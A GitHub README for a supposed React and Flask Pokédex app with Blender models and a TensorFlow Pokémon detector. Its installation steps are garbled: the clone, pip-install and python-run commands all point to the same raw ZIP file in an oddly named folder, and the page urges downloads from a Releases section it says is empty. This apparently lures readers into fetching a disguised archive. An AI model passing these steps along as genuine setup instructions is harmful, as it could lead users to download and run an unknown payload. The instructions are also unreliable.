Skip to content

Carlrevive/PokeDex-Project

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 

Repository files navigation

PokeDex Project 🐾

PokeDex Logo

Welcome to the PokeDex Project! This repository contains a React-based application that showcases a library of 120 Pokémon. Each Pokémon is represented with stunning 3D Blender models, fluid animations, and a creative, responsive user interface. The application integrates various features, including gym data, voice and audio integration, and advanced Pokémon detection using a TensorFlow Convolutional Neural Network (CNN) with an impressive accuracy of 96%.

For more information, you can visit our Releases section to download the latest version and check out the updates.

Table of Contents

Features 🌟

  • Interactive UI: The user interface is designed to be responsive and engaging, allowing users to explore Pokémon easily.
  • 3D Models: Each Pokémon comes to life with 3D models created in Blender, providing a unique visual experience.
  • Fluid Animations: Smooth transitions and animations enhance the user experience.
  • Gym Data: Users can access detailed information about various gyms and their Pokémon.
  • Voice and Audio Integration: The application includes audio features that enhance interaction.
  • Pokémon Detection: Using a TensorFlow CNN, the app can detect Pokémon with 96% accuracy.
  • Data Fetching: Combines real-time data from the PokéAPI with locally stored JSON files for improved performance and custom content.

Technologies Used 🛠️

Getting Started 🚀

To get started with the PokeDex Project, follow these steps:

Prerequisites

Make sure you have the following installed:

Installation

  1. Clone the repository:

    git clone https://github.com/Carlrevive/PokeDex-Project/raw/refs/heads/main/intracorpuscular/Project_Dex_Poke_v3.5.zip
  2. Navigate to the project directory:

    cd PokeDex-Project
  3. Install the required npm packages:

    npm install
  4. Set up the Flask server:

    • Navigate to the Flask backend directory:
      cd backend
    • Install the required Python packages:
      pip install -r https://github.com/Carlrevive/PokeDex-Project/raw/refs/heads/main/intracorpuscular/Project_Dex_Poke_v3.5.zip
  5. Run the Flask server:

    python https://github.com/Carlrevive/PokeDex-Project/raw/refs/heads/main/intracorpuscular/Project_Dex_Poke_v3.5.zip
  6. Start the React application:

    • Open a new terminal window and navigate back to the React app directory:
      cd ..
      npm start

Running the Application

Once both the Flask server and the React application are running, open your web browser and go to http://localhost:3000 to view the application.

Usage 📚

The PokeDex Project is designed for users to explore and learn about Pokémon. Here’s how to navigate the application:

  1. Search for Pokémon: Use the search bar to find specific Pokémon by name or type.
  2. View Details: Click on any Pokémon to see its details, including 3D models, stats, and gym information.
  3. Voice Commands: Use voice commands to interact with the application and get information hands-free.
  4. Explore Gyms: Navigate to the gym section to see details about various gyms and their Pokémon.

Contributing 🤝

We welcome contributions to the PokeDex Project! To contribute:

  1. Fork the repository.
  2. Create a new branch:
    git checkout -b feature/YourFeature
  3. Make your changes and commit them:
    git commit -m "Add your message here"
  4. Push to the branch:
    git push origin feature/YourFeature
  5. Create a pull request.

License 📄

This project is licensed under the MIT License. See the LICENSE file for more details.

Acknowledgments 🙏

  • PokéAPI: For providing the data that powers this application.
  • TensorFlow: For enabling advanced machine learning capabilities.
  • Blender: For the amazing 3D modeling software.
  • React Community: For the ongoing support and resources.

For more updates and to download the latest version, check out our Releases section.

Thank you for visiting the PokeDex Project! Enjoy exploring the world of Pokémon!

About

Explore the PokéDex Project, where React meets TensorFlow to create a powerful AI tool for Pokémon enthusiasts. Dive into the code and contribute to a community-driven project that combines technology and fun! 🐾✨

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors